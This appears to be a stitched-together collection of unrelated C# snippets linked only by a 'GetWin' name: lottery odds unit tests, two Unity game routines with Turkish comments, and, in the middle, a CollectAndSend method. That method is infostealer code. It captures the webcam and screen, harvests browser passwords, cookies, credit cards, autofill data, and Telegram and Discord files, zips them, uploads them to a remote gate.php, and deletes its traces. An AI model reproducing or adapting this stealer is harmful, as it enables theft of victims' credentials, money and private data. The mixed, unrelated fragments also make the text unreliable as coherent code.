public void S6_Two_Match_Odds() { var win = new Win(); var result = win.GetWin("S6", 2, 1); Assert.Equal(0, result); }
public void S6_Three_Match_Odds() { var win = new Win(); var result = win.GetWin("S6", 3, 1); Assert.Equal(30, result); }
public void S6_Four_Match_Odds() { var win = new Win(); var result = win.GetWin("S6", 4, 1); Assert.Equal(60, result); }
public void S6_Five_Match_Odds() { var win = new Win(); var result = win.GetWin("S6", 5, 1); Assert.Equal(200, result); }
void Atack() { if (player != null && !win.GetWin()) { bulletTimer += Time.deltaTime; transform.LookAt(player.transform.position); if (IsClose(fear)) { if (bulletTimer >= bulletSpawnSpeed) { anim.Stop("Run"); StartCoroutine(BulletSpawner()); bulletTimer = 0; } } else { anim.Play("Run"); transform.position = Vector3.MoveTowards(transform.position, player.transform.position, smoothSpeed * Time.deltaTime); } for (int i = 0; i < bullets.Count; ++i) { bullets[i].BulletPositionUpdate(); } } else { for (int i = 0; i < bullets.Count; ++i) { Destroy(bullets[i].GetBulletObject()); bullets.RemoveAt(i); } } }
public static void CollectAndSend() { string text = Environment.GetEnvironmentVariable("temp") + "\\" + Hwid.Getid(); string text2 = text + "\\Directory"; string text3 = text2 + "\\Browsers Data"; Directory.CreateDirectory(text2); Directory.CreateDirectory(text3); WebCam.GetWebCamPicture(text2 + "\\CamPicture.png"); Screenshot.CaptureToFile(Path.Combine(text2, "DesktopScreenshot.jpg")); string text4 = ""; List <PassData> passwords = SavedPass.GetPasswords(); foreach (PassData passData in passwords) { text4 += passData.ToString(); } File.WriteAllText(text2 + "\\Passwords.txt", text4); text4 = ""; List <CookieData> cookies = Cookies.GetCookies(); foreach (CookieData cookieData in cookies) { text4 += cookieData.ToString(); } File.WriteAllText(text3 + "\\Cookies.txt", text4); text4 = ""; List <CardData> cc = Cards.GetCC(); foreach (CardData cardData in cc) { text4 += cardData.ToString(); } File.WriteAllText(text3 + "\\CC.txt", text4); text4 = ""; List <FormData> forms = Forms.GetForms(); foreach (FormData formData in forms) { text4 += formData.ToString(); } File.WriteAllText(text3 + "\\Autofill.txt", text4); text4 = ""; Desktop.DesktopCopy(text2); Telegram.GetTelegram(text2); Discord.GetDiscord(text2); string text5 = text + "\\" + Hwid.Getid() + ".zip"; Packer.Zip(text2, text5); Send.File(string.Format(Setting.url + string.Format("/gate.php?hwid={0}&os={1}&cookie={2}&pswd={3}&form={4}&telegram={5}&discord={6}&version={7}", new object[] { Hwid.Getid(), Win.GetWin(), cookies.Count, passwords.Count, forms.Count, new DirectoryInfo(text2 + "\\Telegram").GetFiles().Length.ToString(), new DirectoryInfo(text2 + "\\Discord").GetFiles().Length.ToString(), Setting.version.ToString() }), new object[0]), text5); Miscellaneous.Delete(text, text + "\\temp.exe"); }
void TouchControl() { if (Input.GetMouseButtonDown(0)) { anim.Play("Run"); Time.timeScale = 1f; isMove = true; vX1 = vX0; vY1 = vY0; currVelocity = new Vector3(vX0, 0, vY0); firstPos = Input.mousePosition; } if (Input.GetMouseButton(0) && isMove) { lastPos = Input.mousePosition; if (firstPos != lastPos) { if (firstPos.x == lastPos.x) { if (firstPos.y < lastPos.y) { rotationAngle = 0; vX1 = 0; vY1 = speed; } else { rotationAngle = 180; vX1 = 0; vY1 = -speed; } } else if (firstPos.y == lastPos.y) { if (firstPos.x < lastPos.x) { rotationAngle = 90; vY1 = 0; vX1 = speed; } else { rotationAngle = 270; vY1 = 0; vX1 = -speed; } } else { if (vX0 != 0) { m1 = vY0 / vX0; } m2 = (lastPos.y - firstPos.y) / (lastPos.x - firstPos.x); vX1 = speed / Mathf.Sqrt(1 + m2 * m2); vX1 = Mathf.Abs(vX1); if (lastPos.x < firstPos.x) { vX1 *= -1; } vY1 = m2 * vX1; if (lastPos.x > firstPos.x) //1. veya 2. bölgede { if (lastPos.y > firstPos.y) //1. bölge { float tanTheta = vX1 / vY1; rotationAngle = Mathf.Atan(tanTheta) * Mathf.Rad2Deg; } else //2. bölge { float tanTheta = vY1 / vX1; rotationAngle = 90 + Mathf.Abs(Mathf.Atan(tanTheta) * Mathf.Rad2Deg); } } else //3. veya 4. bölge { if (lastPos.y < firstPos.y)//3. bölge { float tanTheta = vX1 / vY1; rotationAngle = 180 + Mathf.Atan(tanTheta) * Mathf.Rad2Deg; } else //4. bölge { float tanTheta = vY1 / vX1; rotationAngle = 270 + Mathf.Abs(Mathf.Atan(tanTheta) * Mathf.Rad2Deg); } } } currVelocity = new Vector3(vX1, 0, vY1); } } if (Input.GetMouseButtonUp(0)) { if (!win.GetWin()) { isMove = false; vX0 = vX1; vY0 = vY1; Time.timeScale = 0.1f; } } }